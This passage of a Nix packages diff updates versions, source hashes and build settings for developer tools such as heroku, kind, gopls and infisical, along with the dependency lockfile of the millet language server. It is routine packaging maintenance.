The code repository includes other tools which are not useful. Only build # hclfmt. diff --git a/pkgs/development/tools/heroku/default.nix b/pkgs/development/tools/heroku/default.nix index 888ce0b8ae467..1958517a95c94 100644 --- a/pkgs/development/tools/heroku/default.nix +++ b/pkgs/development/tools/heroku/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation { pname = "heroku"; - version = "8.9.0"; + version = "8.10.0"; src = fetchzip { - url = "https://cli-assets.heroku.com/versions/8.9.0/8f6ff45/heroku-v8.9.0-8f6ff45-linux-x64.tar.xz"; - hash = "sha256-z9SRbQjjl+qthEOa9C/zb4lxTQLeipcl6JXMdirAFcg="; + url = "https://cli-assets.heroku.com/versions/8.10.0/25f0948/heroku-v8.10.0-25f0948-linux-x64.tar.xz"; + hash = "sha256-t2EQeOc6gi5lb7xrAc3WSqwUaczXN5pZXl0QkZ0Gk74="; }; nativeBuildInputs = [ makeWrapper ]; diff --git a/pkgs/development/tools/ijq/default.nix b/pkgs/development/tools/ijq/default.nix index 5334a2042600b..45a8ca79d2363 100644 --- a/pkgs/development/tools/ijq/default.nix +++ b/pkgs/development/tools/ijq/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "ijq"; - version = "0.4.1"; + version = "1.0.1"; src = fetchFromSourcehut { owner = "~gpanders"; repo = pname; rev = "v${version}"; - sha256 = "sha256-WTA14W8JFHdouDgWmsc4wMygnwlANPjSYCAhxFVrwAA="; + sha256 = "sha256-su/PHUt4GpJxt9nm/oYnP1F8EDSl0fUgamWJj1TxuZA="; }; - vendorHash = "sha256-DX8m5FsqMZnzk1wgJA/ESZl0QeDv3p9huF4h1HY9DIA="; + vendorHash = "sha256-X91kW+dpcxd1+vTV1G1al5cdlwWpbUS85Xxf3yeVg1I="; nativeBuildInputs = [ installShellFiles makeWrapper scdoc ]; diff --git a/pkgs/development/tools/infisical/default.nix b/pkgs/development/tools/infisical/default.nix index 0f0c8e1ef89f7..55218252e2f44 100644 --- a/pkgs/development/tools/infisical/default.nix +++ b/pkgs/development/tools/infisical/default.nix @@ -15,7 +15,7 @@ let buildHashes = builtins.fromJSON (builtins.readFile ./hashes.json); # the version of infisical - version = "0.16.10"; + version = "0.17.1"; # the platform-specific, statically linked binary src = diff --git a/pkgs/development/tools/infisical/hashes.json b/pkgs/development/tools/infisical/hashes.json index 4b631427a553a..416bd8fd5decb 100644 --- a/pkgs/development/tools/infisical/hashes.json +++ b/pkgs/development/tools/infisical/hashes.json @@ -1,6 +1,6 @@ { "_comment": "@generated by pkgs/development/tools/infisical/update.sh" -, "x86_64-linux": "sha256-EjAm8toawTRKlnVr/dXXvfZ7IubKgjJh5qkR5lwBga8=" -, "x86_64-darwin": "sha256-W2enmLucQpDLaUzsbSmQ2wq1nU5k5a93iqlAERJ/b/g=" -, "aarch64-linux": "sha256-i5irWQmZVqKuzgAmL1wvo/3V7czEiIG8yANDhdb0tPk=" -, "aarch64-darwin": "sha256-GjG8FBT3eulRYLyy4iiuXuQjiL+Au8Dd/h7buXDNlyQ=" +, "x86_64-linux": "sha256-RfZP7au3F9GN7W8ksbqE167y28GhLMvX6Xy5qI920Vs=" +, "x86_64-darwin": "sha256-Ye0hdk5m/LX7uAMdysSZmJihhV6+J35cn02M7PQziSk=" +, "aarch64-linux": "sha256-6bcli2zJW6Y5zx860WFLqg0iPnvDKdq9RqnA5r8nv5E=" +, "aarch64-darwin": "sha256-QaqYt0aPhPOuq4TY/kjSejnL5c3TrrYAVrLmYX6btuM=" } diff --git a/pkgs/development/tools/jql/default.nix b/pkgs/development/tools/jql/default.nix index 98ff0d6bb5be3..db0d159aa4f10 100644 --- a/pkgs/development/tools/jql/default.nix +++ b/pkgs/development/tools/jql/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "jql"; - version = "7.1.3"; + version = "7.1.6"; src = fetchFromGitHub { owner = "yamafaktory"; repo = pname; rev = "jql-v${version}"; - hash = "sha256-UiIIPA4JREWniNOcqMW2jnfaEDpkT1jbdv3whr49Gqg="; + hash = "sha256-xYPJG5wuBv1APMDG0mqO1ZvNctp1HA7Z26dVXfAKfco="; }; - cargoHash = "sha256-9ApucHYFHBritAdylzQuUDa47yG8dAeIQwPezXP3BXY="; + cargoHash = "sha256-kNDHT2DgeesnDmiXaXHN+DBXc/Pg5ZKRNJxHL6NA6GM="; meta = with lib; { description = "A JSON Query Language CLI tool built with Rust"; diff --git a/pkgs/development/tools/kind/default.nix b/pkgs/development/tools/kind/default.nix index 1f58fd637a6de..6896e953abde4 100644 --- a/pkgs/development/tools/kind/default.nix +++ b/pkgs/development/tools/kind/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "kind"; - version = "0.20.0"; + version = "0.22.0"; src = fetchFromGitHub { - rev = "v${version}"; - owner = "kubernetes-sigs"; - repo = "kind"; - sha256 = "sha256-5yDoxrsnmz8N0Y35juItLtyclTz+pSb75B1P716XPxU="; + rev = "v${version}"; + owner = "kubernetes-sigs"; + repo = "kind"; + hash = "sha256-DJTsyGEQA36MSmW5eWYTV1Tk6JOBIVJrEARA/x70S0U="; }; patches = [ @@ -18,26 +18,28 @@ buildGoModule rec { vendorHash = "sha256-J/sJd2LLMBr53Z3sGrWgnWA8Ry+XqqfCEObqFyUD96g="; + nativeBuildInputs = [ installShellFiles ]; + + subPackages = [ "." ]; + CGO_ENABLED = 0; - GOFLAGS = [ "-trimpath" ]; - ldflags = [ "-w" ]; - doCheck = false; + ldflags = [ "-s" "-w" ]; - subPackages = [ "." ]; + doCheck = false; - nativeBuildInputs = [ installShellFiles ]; postInstall = '' - for shell in bash fish zsh; do - $out/bin/kind completion $shell > kind.$shell - installShellCompletion kind.$shell - done + installShellCompletion --cmd kind \ + --bash <($out/bin/kind completion bash) \ + --fish <($out/bin/kind completion fish) \ + --zsh <($out/bin/kind completion zsh) ''; meta = with lib; { description = "Kubernetes IN Docker - local clusters for testing Kubernetes"; - homepage = "https://github.com/kubernetes-sigs/kind"; + homepage = "https://github.com/kubernetes-sigs/kind"; maintainers = with maintainers; [ offline rawkode ]; - license = licenses.asl20; + license = licenses.asl20; + mainProgram = "kind"; }; } diff --git a/pkgs/development/tools/ko/default.nix b/pkgs/development/tools/ko/default.nix index 3f9bc4c0b3fc7..26ce9b428cf1f 100644 --- a/pkgs/development/tools/ko/default.nix +++ b/pkgs/development/tools/ko/default.nix @@ -7,13 +7,13 @@ buildGoModule rec { pname = "ko"; - version = "0.15.1"; + version = "0.15.2"; src = fetchFromGitHub { owner = "ko-build"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-BEKsa5mzJplcyR65/4T0MizrYxEk8/ON8SDFt8ZxqMU="; + hash = "sha256-/1s335bXbBKlzKT4AevuHltLdU2qj6pJFngOrJCLtUw="; }; vendorHash = null; diff --git a/pkgs/development/tools/kube-linter/default.nix b/pkgs/development/tools/kube-linter/default.nix index 141239c403f22..c551fec46e870 100644 --- a/pkgs/development/tools/kube-linter/default.nix +++ b/pkgs/development/tools/kube-linter/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "kube-linter"; - version = "0.6.7"; + version = "0.6.8"; src = fetchFromGitHub { owner = "stackrox"; repo = pname; rev = "v${version}"; - sha256 = "sha256-D9QJsYaYvGjDucr0Xedg2LEqfwTxzIQBBNNFZ1m5D/U="; + sha256 = "sha256-abfNzf+84BWHpvLQZKyzl7WBt7UHj2zqzKq3VCqAwwY="; }; - vendorHash = "sha256-ARrMHjR/fOGS8EDMCKiEr3ubWjqDySb/AdX9jNYWOVA="; + vendorHash = "sha256-FUkGiJ/6G9vSYtAj0v9GT4OINbO3d/OKlJ0YwhONftY="; ldflags = [ "-s" "-w" "-X golang.stackrox.io/kube-linter/internal/version.version=${version}" diff --git a/pkgs/development/tools/kubedock/default.nix b/pkgs/development/tools/kubedock/default.nix index 39a9262a204b5..82a35ecf83342 100644 --- a/pkgs/development/tools/kubedock/default.nix +++ b/pkgs/development/tools/kubedock/default.nix @@ -2,13 +2,13 @@ buildGoModule rec { pname = "kubedock"; - version = "0.15.3"; + version = "0.15.5"; src = fetchFromGitHub { owner = "joyrex2001"; repo = "kubedock"; rev = version; - hash = "sha256-klrjXL6Crqi74uwZTC0Sp/zMn0fHcA1m8jX3ehRKNHU="; + hash = "sha256-XnHCAv+l52EWw8MvTlmQ+wyhoddtXn920roB+y/ARWQ="; }; vendorHash = "sha256-me56QyJi77dP3geNecfO19SxFyuM2CqwmJRkwomsG1o="; diff --git a/pkgs/development/tools/kubernetes-controller-tools/default.nix b/pkgs/development/tools/kubernetes-controller-tools/default.nix index bf318108c430d..9ec00d3590610 100644 --- a/pkgs/development/tools/kubernetes-controller-tools/default.nix +++ b/pkgs/development/tools/kubernetes-controller-tools/default.nix @@ -2,18 +2,25 @@ buildGoModule rec { pname = "controller-tools"; - version = "0.13.0"; + version = "0.14.0"; src = fetchFromGitHub { owner = "kubernetes-sigs"; repo = pname; rev = "v${version}"; - sha256 = "sha256-strTBBpmG60H38WWLakIjZHVUgKC/ajS7ZEFDhZWnlo="; + sha256 = "sha256-G0jBQ12cpjfWGhXYppV9dB2n68bExi6ME9QbxXsUWvw="; }; patches = [ ./version.patch ]; - vendorHash = "sha256-YQfMq0p3HfLgOjAk/anZpGx/fDnvovI3HtmYdKRKq5w="; + postPatch = '' + # fix wrong go line which go mod tidy complains about + # https://github.com/kubernetes-sigs/controller-tools/pull/881 + substituteInPlace go.mod \ + --replace-fail "go 1.20" "go 1.21" + ''; + + vendorHash = "sha256-8XSMg/MII+HlsFuaOC6CK/jYiBXfeRZmLT7sW/ZN3Ts="; ldflags = [ "-s" @@ -32,6 +39,7 @@ buildGoModule rec { meta = with lib; { description = "Tools to use with the Kubernetes controller-runtime libraries"; homepage = "https://github.com/kubernetes-sigs/controller-tools"; + changelog = "https://github.com/kubernetes-sigs/controller-tools/releases/tag/v${version}"; license = licenses.asl20; maintainers = with maintainers; [ michojel ]; }; diff --git a/pkgs/development/tools/language-servers/gopls/default.nix b/pkgs/development/tools/language-servers/gopls/default.nix index c7bf7da64d247..84470fcfe1100 100644 --- a/pkgs/development/tools/language-servers/gopls/default.nix +++ b/pkgs/development/tools/language-servers/gopls/default.nix @@ -2,17 +2,17 @@ buildGoModule rec { pname = "gopls"; - version = "0.14.2"; + version = "0.15.1"; src = fetchFromGitHub { owner = "golang"; repo = "tools"; rev = "gopls/v${version}"; - hash = "sha256-hcicI5ka6m0W2Sj8IaxNsLfIc97eR8SKKp81mJvM2GM="; + hash = "sha256-GJ2zc5OgZXwEq12f0PyvgOOUd7cctUbFvdp095VQb9E="; }; modRoot = "gopls"; - vendorHash = "sha256-jjUTRLRySRy3sfUDfg7cXRiDHk1GWHijgEA5XjS+9Xo="; + vendorHash = "sha256-Xxik0t1BHQPqzrE3Oh3VhODn+IqIVa+TCNqQSnmbBM0="; doCheck = false; @@ -22,6 +22,7 @@ buildGoModule rec { meta = with lib; { description = "Official language server for the Go language"; homepage = "https://github.com/golang/tools/tree/master/gopls"; + changelog = "https://github.com/golang/tools/releases/tag/${src.rev}"; license = licenses.bsd3; maintainers = with maintainers; [ mic92 rski SuperSandro2000 zimbatm ]; mainProgram = "gopls"; diff --git a/pkgs/development/tools/language-servers/metals/default.nix b/pkgs/development/tools/language-servers/metals/default.nix index 4cd17ece484fe..45c061ee439c6 100644 --- a/pkgs/development/tools/language-servers/metals/default.nix +++ b/pkgs/development/tools/language-servers/metals/default.nix @@ -2,7 +2,7 @@ stdenv.mkDerivation rec { pname = "metals"; - version = "1.2.0"; + version = "1.2.1"; deps = stdenv.mkDerivation { name = "${pname}-deps-${version}"; @@ -16,7 +16,7 @@ stdenv.mkDerivation rec { ''; outputHashMode = "recursive"; outputHashAlgo = "sha256"; - outputHash = "sha256-nikQ/GFRWmYYzboc9TWIi9gd5kwgCxOLhvIEQWusFik="; + outputHash = "sha256-L/ltoLlr4TdsDYwYtaCs6+Q2yTiyzoa2GQ3VK28AlzE="; }; nativeBuildInputs = [ makeWrapper setJavaClassPath ]; diff --git a/pkgs/development/tools/language-servers/millet/Cargo.lock b/pkgs/development/tools/language-servers/millet/Cargo.lock index 9275df8c1c14c..d6620fa370d1f 100644 --- a/pkgs/development/tools/language-servers/millet/Cargo.lock +++ b/pkgs/development/tools/language-servers/millet/Cargo.lock @@ -28,7 +28,7 @@ dependencies = [ [[package]] name = "analysis" -version = "0.14.2" +version = "0.14.3" dependencies = [ "config", "diagnostic", @@ -54,9 +54,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.75" +version = "1.0.79" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" [[package]] name = "autocfg" @@ -97,18 +97,15 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.1" +version = "2.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" [[package]] name = "cc" -version = "1.0.83" +version = "1.0.85" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1174fb0b6ec23863f8b971027804a42614e347eafb0a95bf0b12cdae21fc4d0" -dependencies = [ - "libc", -] +checksum = "9b918671670962b48bc23753aef0c51d072dca6f52f01f800854ada6ddb7f7d3" [[package]] name = "cfg-if" @@ -118,7 +115,8 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" [[package]] name = "chain-map" -version = "0.14.2" +version = "0.1.0" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "fast-hash", "str-util", @@ -127,11 +125,11 @@ dependencies = [ [[package]] name = "char-name" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" [[package]] name = "cm-syntax" -version = "0.14.2" +version = "0.14.3" dependencies = [ "lex-util", "paths", @@ -144,7 +142,7 @@ dependencies = [ [[package]] name = "code-h2-md-map" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "fast-hash", ] @@ -161,7 +159,7 @@ dependencies = [ [[package]] name = "config" -version = "0.14.2" +version = "0.14.3" dependencies = [ "fast-hash", "serde", @@ -171,14 +169,14 @@ dependencies = [ [[package]] name = "console" -version = "0.15.7" +version = "0.15.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c926e00cc70edefdc64d3a5ff31cc65bb97a3460097762bd23afb4d8145fccf8" +checksum = "0e1f83fc076bd6dd27517eacdf25fef6c4dfe5f1d7448bafaaf3a26f13b5e4eb" dependencies = [ "encode_unicode", "lazy_static", "libc", - "windows-sys 0.45.0", + "windows-sys", ] [[package]] @@ -189,7 +187,7 @@ checksum = "7704b5fdd17b18ae31c4c1da5a2e0305a2bf17b5249300a9ee9ed7b72114c636" [[package]] name = "cov-mark" -version = "0.14.2" +version = "0.14.3" dependencies = [ "fast-hash", "once_cell", @@ -197,36 +195,32 @@ dependencies = [ [[package]] name = "crc32fast" -version = "1.3.2" +version = "1.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b540bd8bc810d3885c6ea91e2018302f68baba2129ab3e88f32389ee9370880d" +checksum = "b3855a8a784b474f333699ef2bbca9db2c4a1f6d9088a90a2d25b1eb53111eaa" dependencies = [ "cfg-if", ] [[package]] name = "crossbeam-channel" -version = "0.5.8" +version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "diagnostic" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" [[package]] name = "diff" @@ -249,7 +243,7 @@ checksum = "56ce8c6da7551ec6c462cbaf3bfbc75131ebbfa1c944aeaa9dab51ca1c5f0c3b" [[package]] name = "elapsed" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "log", ] @@ -262,9 +256,9 @@ checksum = "a357d28ed41a50f9c765dbfe56cbc04a64e53e5fc58ba79fbc34c10ef3df831f" [[package]] name = "env_logger" -version = "0.10.1" +version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95b3f3e67048839cb0d0781f445682a35113da7121f7c949db0e2be96a4fbece" +checksum = "4cd405aab171cb85d6735e5c8d9db038c17d3ca007a4d2c25f337935c3d90580" dependencies = [ "humantime", "is-terminal", @@ -286,13 +280,13 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ "libc", - "windows-sys 0.52.0", + "windows-sys", ] [[package]] name = "event-parse" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "drop_bomb", "rowan", @@ -302,7 +296,7 @@ dependencies = [ [[package]] name = "fast-hash" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "rustc-hash", ] @@ -326,7 +320,7 @@ dependencies = [ [[package]] name = "fmt-util" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" [[package]] name = "form_urlencoded" @@ -360,21 +354,15 @@ checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] name = "hashbrown" -version = "0.12.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" - -[[package]] -name = "hashbrown" version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" [[package]] name = "hermit-abi" -version = "0.3.3" +version = "0.3.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" +checksum = "d0c62115964e08cb8039170eb33c1d0e2388a256930279edca206fff675f82c3" [[package]] name = "humantime" @@ -385,7 +373,7 @@ checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" [[package]] name = "identifier-case" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" [[package]] name = "idna" @@ -400,24 +388,24 @@ dependencies = [ [[package]] name = "idx" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "nohash-hasher", ] [[package]] name = "indexmap" -version = "2.1.0" +version = "2.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +checksum = "233cf39063f058ea2caae4091bf4a3ef70a653afbc026f5c4a4135d114e3c177" dependencies = [ "equivalent", - "hashbrown 0.14.3", + "hashbrown", ] [[package]] name = "input" -version = "0.14.2" +version = "0.14.3" dependencies = [ "cm-syntax", "config", @@ -443,20 +431,20 @@ dependencies = [ [[package]] name = "is-terminal" -version = "0.4.9" +version = "0.4.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb0889898416213fab133e1d33a0e5858a48177452750691bde3666d0fdbaf8b" +checksum = "f23ff5ef2b80d608d61efee834934d862cd92461afc0560dedf493e4c033738b" dependencies = [ "hermit-abi", - "rustix", - "windows-sys 0.48.0", + "libc", + "windows-sys", ] [[package]] name = "itoa" -version = "1.0.9" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "la-arena" @@ -466,7 +454,7 @@ checksum = "3752f229dcc5a481d60f385fa479ff46818033d881d2d801aa27dffcfb5e8306" [[package]] name = "lang-srv" -version = "0.14.2" +version = "0.14.3" dependencies = [ "analysis", "anyhow", @@ -494,19 +482,19 @@ checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" [[package]] name = "lex-util" -version = "0.14.2" +version = "0.14.3" [[package]] name = "libc" -version = "0.2.150" +version = "0.2.153" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" +checksum = "9c198f91728a82281a64e1f4f9eeb25d82cb32a5de251c6bd1b5154d63a8e7bd" [[package]] name = "line-index" -version = "0.1.0-pre.1" +version = "0.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2cad96769710c1745e11d4f940a8ff36000ade4bbada4285b001cb8aa2f745ce" +checksum = "67d61795376ae2683928c218fda7d7d7db136fd38c06b7552904667f0d55580a" dependencies = [ "nohash-hasher", "text-size", @@ -514,9 +502,9 @@ dependencies = [ [[package]] name = "linux-raw-sys" -version = "0.4.11" +version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "969488b55f8ac402214f3f5fd243ebb7206cf82de60d3172994707a4bcc2b829" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" [[package]] name = "log" @@ -526,9 +514,9 @@ checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" [[package]] name = "lsp-server" -version = "0.7.4" +version = "0.7.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b52dccdf3302eefab8c8a1273047f0a3c3dca4b527c8458d00c09484c8371928" +checksum = "248f65b78f6db5d8e1b1604b4098a28b43d21a8eb1deeca22b1c421b276c7095" dependencies = [ "crossbeam-channel", "log", @@ -538,9 +526,9 @@ dependencies = [ [[package]] name = "lsp-types" -version = "0.94.1" +version = "0.95.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c66bfd44a06ae10647fe3f8214762e9369fd4248df1350924b4ef9e770a85ea1" +checksum = "158c1911354ef73e8fe42da6b10c0484cb65c7f1007f28022e847706c1ab6984" dependencies = [ "bitflags 1.3.2", "serde", @@ -551,9 +539,9 @@ dependencies = [ [[package]] name = "memchr" -version = "2.6.4" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memoffset" @@ -566,7 +554,7 @@ dependencies = [ [[package]] name = "millet-cli" -version = "0.14.2" +version = "0.14.3" dependencies = [ "analysis", "codespan-reporting", @@ -584,7 +572,7 @@ dependencies = [ [[package]] name = "millet-ls" -version = "0.14.2" +version = "0.14.3" dependencies = [ "anyhow", "env_logger", @@ -595,16 +583,16 @@ dependencies = [ [[package]] name = "miniz_oxide" -version = "0.7.1" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +checksum = "9d811f3e15f28568be3407c8e7fdb6514c1cda3cb30683f15b6a1a1dc4ea14a7" dependencies = [ "adler", ] [[package]] name = "mlb-hir" -version = "0.14.2" +version = "0.14.3" dependencies = [ "fast-hash", "paths", @@ -616,7 +604,7 @@ dependencies = [ [[package]] name = "mlb-statics" -version = "0.14.2" +version = "0.14.3" dependencies = [ "config", "diagnostic", @@ -641,7 +629,7 @@ dependencies = [ [[package]] name = "mlb-syntax" -version = "0.14.2" +version = "0.14.3" dependencies = [ "lex-util", "paths", @@ -671,41 +659,40 @@ dependencies = [ [[package]] name = "num-integer" -version = "0.1.45" +version = "0.1.46" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f" dependencies = [ - "autocfg", "num-traits", ] [[package]] name = "num-traits" -version = "0.2.17" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +checksum = "da0df0e5185db44f69b44f26786fe401b6c293d1907744beaa7fa62b2e5a517a" dependencies = [ "autocfg", ] [[package]] name = "object" -version = "0.32.1" +version = "0.32.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" dependencies = [ "memchr", ] [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "panic-hook" -version = "0.14.2" +version = "0.14.3" dependencies = [ "better-panic", ] @@ -713,7 +700,7 @@ dependencies = [ [[package]] name = "paths" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "dunce", "fast-hash", @@ -726,7 +713,7 @@ dependencies = [ [[package]] name = "pattern-match" version = "0.1.0" -source = "git+https://github.com/azdavis/language-util.git#50962261bfd5159c350fdd5c397af60746dcf6fe" +source = "git+https://github.com/azdavis/language-util.git#65807c40cd874514e97392e35d25b788b1a706d8" dependencies = [ "fast-hash", ] @@ -755,9 +742,9 @@ dependencies = [ [[package]] name = "prettyplease" -version = "0.2.15" +version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae005bd773ab59b4725093fd7df83fd7892f7d8eafb48dbd7de6e024e4215f9d" +checksum = "a41cf62165e97c7f814d2221421dbb9afcbcdb0a88068e5ea206e19951c2cbb5" dependencies = [ "proc-macro2", "syn", @@ -765,20 +752,20 @@ dependencies = [ [[package]] name = "proc-macro2" -version = "1.0.70" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] [[package]] name = "pulldown-cmark" -version = "0.9.3" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77a1a2f1f0a7ecff9c31abbe177637be0e97a0aef46cf8738ece09327985d998" +checksum = "57206b407293d2bcd3af849ce869d52068623f19e1b5ff8e8778e3309439682b" dependencies = [ - "bitflags 1.3.2", + "bitflags 2.4.2", "getopts", "memchr", "unicase", @@ -786,27 +773,18 @@ dependencies = [ [[package]] name = "quote" -version = "1.0.33" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] [[package]] -name = "redox_syscall" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" -dependencies = [ - "bitflags 1.3.2", -] - -[[package]] name = "regex" -version = "1.10.2" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +checksum = 